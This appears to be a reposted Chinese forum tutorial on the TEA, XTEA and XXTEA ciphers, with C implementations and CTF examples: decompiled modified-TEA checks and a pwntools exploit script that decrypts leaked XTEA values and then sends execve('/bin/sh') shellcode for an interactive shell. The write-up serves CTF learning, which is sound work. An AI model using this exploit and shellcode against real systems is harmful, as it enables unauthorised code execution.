|
本帖最后由 gclome 于 2022-2-20 11:38 编辑
原文链接:tea系列算法速成总结及其在PWN中运用
在安全学领域,TEA(Tiny Encryption Algorithm)是一种分组加密算法,它的实现非常简单,通常只需要很精短的几行代码。TEA 算法最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计的。
TEA系列算法在目前较为基础的reserve题目中会较常出现,但是随着CTF的参赛人员质量的提高,以往一些在逆向较为常见的算法也逐渐运用到pwn里面形成了新的题型RePwn,所以做为pwn手,对于逆向的学习是很有必要的。目前,tea算法总共有3大类(魔改除外),tea,xtea,xxtea。
TEATEA算法的原理简单阐述就是每次加密2个元素,加密方式通过利用key schedule constant(关键时刻表常数)以及4位密钥进行指定轮数的加减、位移以及异或操作,通常的轮数为32轮。
C语言实现TEA加密解密
- #include <stdio.h>
-
- //加密函数
- void encrypt (unsigned int* v, unsigned int* k) {
- unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */
- unsigned int delta=0x9e3779b9; /* a key schedule constant */
- unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
- for (i=0; i < 32; i++) { /* basic cycle start */
- sum += delta;
- v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
- v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
- } /* end cycle */
- v[0]=v0; v[1]=v1;
- }
- //解密函数
- void decrypt (unsigned int* v, unsigned int* k) {
- unsigned int v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
- unsigned int delta=0x9e3779b9; /* a key schedule constant */
- unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
- for (i=0; i<32; i++) { /* basic cycle start */
- v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
- v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
- sum -= delta;
- } /* end cycle */
- v[0]=v0; v[1]=v1;
- }
-
- int main()
- {
- unsigned int v[2]={6,9},k[4]={1,2,3,4};
- // v为要加密的数据是两个32位无符号整数
- // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
- printf("加密前原始数据:%u %u\n",v[0],v[1]);
- encrypt(v, k);
- printf("加密后的数据:%u %u\n",v[0],v[1]);
- decrypt(v, k);
- printf("解密后的数据:%u %u\n",v[0],v[1]);
- return 0;
- }
复制代码
XTEA
该算法为TEA算法的升级版,设计者是Roger Needham, David Wheeler。XTEA算法相当于TEA算法来说,加密的时候对密钥进行了位移操作,同时也额外增加了一些异或操作。本质上和TEA算法的差别不大C语言实现XTEA加密解密
- #include <stdio.h>
-
- /* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
-
- void encipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
- unsigned int i;
- unsigned int v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
- for (i=0; i < num_rounds; i++) {
- v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
- sum += delta;
- v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
- }
- v[0]=v0; v[1]=v1;
- }
-
- void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
- unsigned int i;
- unsigned int v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
- for (i=0; i < num_rounds; i++) {
- v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
- sum -= delta;
- v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
- }
- v[0]=v0; v[1]=v1;
- }
-
- int main()
- {
- unsigned int v[2]={1,2};
- unsigned int const k[4]={2,2,3,4};
- unsigned int r=32;//num_rounds建议取值为32
- // v为要加密的数据是两个32位无符号整数
- // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
- printf("加密前原始数据:%u %u\n",v[0],v[1]);
- encipher(r, v, k);
- printf("加密后的数据:%u %u\n",v[0],v[1]);
- decipher(r, v, k);
- printf("解密后的数据:%u %u\n",v[0],v[1]);
- return 0;
- }
复制代码
XXTEA
XXTEA是XTEA的升级版,设计者是Roger Needham, David Wheele.XXTEA相较于XTEA以及TEA有了较大的变化,XXTEA算法使用128bit的密钥对以32bit为单位的信息块进行加密
C语言实现XXTEA加密解密
- #include <stdio.h>
- #define DELTA 0x9e3779b9
- #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
-
- void btea(unsigned int *v, int n, unsigned int const key[4])
- {
- unsigned int y, z, sum;
- unsigned p, rounds, e;
- if (n > 1) /* Coding Part */
- {
- rounds = 6 + 52/n;
- sum = 0;
- z = v[n-1];
- do
- {
- sum += DELTA;
- e = (sum >> 2) & 3;
- for (p=0; p<n-1; p++)
- {
- y = v[p+1];
- z = v[p] += MX;
- }
- y = v[0];
- z = v[n-1] += MX;
- }
- while (--rounds);
- }
- else if (n < -1) /* Decoding Part */
- {
- n = -n;
- rounds = 6 + 52/n;
- sum = rounds*DELTA;
- y = v[0];
- do
- {
- e = (sum >> 2) & 3;
- for (p=n-1; p>0; p--)
- {
- z = v[p-1];
- y = v[p] -= MX;
- }
- z = v[n-1];
- y = v[0] -= MX;
- sum -= DELTA;
- }
- while (--rounds);
- }
- }
-
-
- int main()
- {
- unsigned int v[2]= {1,2};
- unsigned int const k[4]= {2,2,3,4};
- int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密
- // v为要加密的数据是两个32位无符号整数
- // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
- printf("加密前原始数据:%u %u\n",v[0],v[1]);
- btea(v, n, k);
- printf("加密后的数据:%u %u\n",v[0],v[1]);
- btea(v, -n, k);
- printf("解密后的数据:%u %u\n",v[0],v[1]);
- return 0;
- }
复制代码
v是要加密的组元的起始地址,以32bit为单位,这里用long来实现。n是要加密的组元个数,正数是加密,负数是解密。k是密钥的起始地址,长度为4个组元,4*32=128bit。返回值为0或1(对应n=0,没有计算)。加密的结果会直接写回到v中。
TEA系列算法在CTF中的实例2021长安杯线下赛
魔改TEA,需要注意的是题目数据大小端的问题,常规解TEA无法得到正确结果,需要自己转化。密文部分
- _BOOL8 __fastcall check_password(_BYTE *a1)
- {
- encrypto((unsigned int *)a1);
- return *a1 == 0x14
- && a1[1] == 0x5C
- && a1[2] == 0xA6
- && a1[3] == 0xD2
- && a1[4] == 0xE
- && a1[5] == 0x45
- && a1[6] == 9
- && a1[7] == 119;
- }
复制代码 加密代码部分
- __int64 __fastcall encrypto(unsigned int *a1)
- {
- __int64 result; // rax
- int i; // [rsp+1Ch] [rbp-3Ch]
- unsigned int v3; // [rsp+20h] [rbp-38h]
- unsigned int v4; // [rsp+24h] [rbp-34h]
- unsigned int v5; // [rsp+28h] [rbp-30h]
- int v6[6]; // [rsp+38h] [rbp-20h]
- unsigned __int64 v7; // [rsp+50h] [rbp-8h]
- v7 = __readfsqword(0x28u);
- v6[0] = 0x28371234;
- v6[1] = 0x19283543;
- v6[2] = 423118625;
- v6[3] = -1741216238;
- v3 = *a1;
- v4 = a1[1];
- v5 = 0;
- for ( i = 0; i <= 31; ++i )
- {
- v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
- v5 -= 0x61C88647;
- v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
- }
- *a1 = v3;
- result = v4;
- a1[1] = v4;
- return result;
- }
复制代码
2021广东大学生网络安全攻防大赛线下赛
动态XTEA算法数据生成代码,利用time作为随机数种,随机生成加密的密钥以及明文。
- int sub_C51()
- {
- unsigned int v0; // eax
- puts("The game is initializing, please wait...");
- v0 = time(0LL);
- srand(v0);
- dword_202050[0] = rand();
- sleep(1u);
- dword_202048[0] = rand();
- sleep(1u);
- dword_202048[1] = rand();
- puts("Okay, the game starts now.");
- return printf("Your secret key :%u\n", dword_202050[0]);
- }
复制代码 密钥部分以及明文赋值
- __int64 sub_CE2()
- {
- int v1[4]; // [rsp+0h] [rbp-20h] BYREF
- int v2[4]; // [rsp+10h] [rbp-10h] BYREF
- v2[0] = 2730;
- v2[1] = 3003;
- v2[2] = 3276;
- v2[3] = 3549;
- v1[0] = dword_202048[0];
- v1[1] = dword_202048[1];
- return sub_B50(v1, v2, dword_202050);
- }
复制代码 加密部分
- int __fastcall sub_B50(unsigned int *a1, _DWORD *a2, int a3)
- {
- unsigned int i; // [rsp+30h] [rbp-10h]
- int v5; // [rsp+34h] [rbp-Ch]
- unsigned int v6; // [rsp+38h] [rbp-8h]
- unsigned int v7; // [rsp+3Ch] [rbp-4h]
- v7 = *a1;
- v6 = a1[1];
- v5 = 0;
- for ( i = 0; i <= 0x1F; ++i )
- {
- v5 += a3;
- v7 += (v6 + v5) ^ (16 * v6 + *a2) ^ ((v6 >> 5) + a2[1]);
- v6 += (v7 + v5) ^ (16 * v7 + a2[2]) ^ ((v7 >> 5) + a2[3]);
- }
- *a1 = v7;
- a1[1] = v6;
- return printf("Your gift:0x%x,0x%x\n", *a1, a1[1]);
- }
复制代码
EXP- from pwn import *
- from ctypes import *
- def get_shell(ip):
- global sh
- port=10000
- #sh = remote(ip, port)
- sh=process('./pwn')
- context.log_level='debug'
- #sh=remote('192.168.123.131',12000)
- sh.recvuntil('Your secret key :')
- key=int(sh.recv(10),10)
- print(key)
- sh.recvuntil("0x")
- leak1=int(sh.recv(8),16)
- print((leak1))
- sh.recvuntil("0x")
- leak2=int(sh.recv(8),16)
- print((leak2))
- #sh.interactive()
- a1= [(leak1),(leak2)]
- v7 = c_uint32(a1[0])
- v6 = c_uint32(a1[1])
- v5 = 0
- a3=(key)
- v5=c_uint32(a3*0x20)
- for i in range(0x20):
- v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
- v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
- v5.value -= (key)
- a1[0] = v7.value
- a1[1] = v6.value
- print(a1[0],a1[1])
- #sh.interactive()
- sh.recv()
- sh.sendline(str(a1[0])+(",")+str(a1[1]))
- sh.sendline("A")
- sh.recv()
- sh.sendline("1638")
- sh.recv()
- context.arch = 'amd64'
- code = '''
- mov rax, 0x68732f6e69622f;
- push rax
- mov rdi, rsp;
- mov rsi, 0;
- xor rdx, rdx;
- mov rax, 59;
- syscall
- '''
- sc = asm(code)
- #sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")
- sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
- print(len("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"))
- print(len(sc))
- sh.interactive()
- return sh
- get_shell(1)
复制代码
广东省线下赛题目链接
链接:https://pan.baidu.com/s/12_tngnxx7dGt4N5PcnEvJg?pwd=hgc5提取码:hgc5--来自百度网盘超级会员V3的分享
TEA系列算法解密思维概述TEA,XTEA
对于TEA AND XTEA来说,本质上二者无太大的区别,由于异或的特性,异或n次加密再异或n次就能解密,所以对于加密算法中括号的数据处理方法一概可以忽略,我们需要变换的只是数据处理顺序以及讲加法改减法(减法改加法)注意,tea系列算法的数据处理必定都是2个元素为一组去处理。
XXTEA
XXTEA算法的解密同样只是对加密算法的数据处理顺序进行倒置,同时加法改减法(减法改加法)
|
|